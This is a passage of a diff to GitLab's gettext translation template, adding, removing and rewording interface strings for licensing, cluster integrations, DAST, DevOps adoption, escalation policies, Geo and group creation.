-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7134,6 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7176,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7344,6 +7423,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7428,9 +7510,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7491,7 +7570,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7587,9 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7602,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7701,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7842,9 +7912,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7857,9 +7924,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8133,6 +8197,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8278,6 +8351,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8416,9 +8492,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8539,6 +8612,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8602,6 +8678,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8763,6 +8842,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9445,9 +9527,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9478,9 +9557,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9532,6 +9608,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9583,6 +9662,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9616,6 +9698,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9943,27 +10028,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10188,9 +10252,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10410,9 +10480,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10780,6 +10847,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11510,22 +11580,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11534,6 +11610,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11561,6 +11640,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11582,6 +11664,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11594,21 +11679,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11675,15 +11772,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11711,6 +11808,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11940,7 +12040,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11955,6 +12055,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11964,9 +12082,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12081,9 +12196,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12138,6 +12250,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12267,13 +12382,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12351,6 +12466,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12396,9 +12514,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12420,9 +12535,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13092,9 +13204,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13107,12 +13216,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13221,6 +13336,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13282,7 +13445,11 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13927,6 +14094,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13951,9 +14121,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13981,9 +14148,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14002,9 +14166,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14047,9 +14208,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14065,7 +14223,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14318,6 +14476,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14423,6 +14590,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14441,6 +14611,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14468,6 +14641,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14735,6 +14917,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14762,6 +14947,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14789,6 +14977,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14813,6 +15004,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14840,6 +15034,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14885,6 +15082,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14897,10 +15097,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15065,6 +15271,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15077,10 +15289,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15326,9 +15541,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15425,16 +15637,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15467,9 +15682,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15524,6 +15736,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15602,7 +15817,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15716,6 +15931,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15776,6 +15994,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15797,13 +16018,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15866,6 +16090,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16184,9 +16411,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16223,22 +16447,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16310,7 +16543,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16325,6 +16558,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16337,6 +16573,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16455,9 +16703,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16489,9 +16734,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16576,9 +16818,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16588,9 +16845,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16744,6 +16998,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16996,6 +17253,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17029,6 +17289,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17041,9 +17304,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17056,6 +17328,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17182,6 +17457,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17221,6 +17499,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17236,10 +17517,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
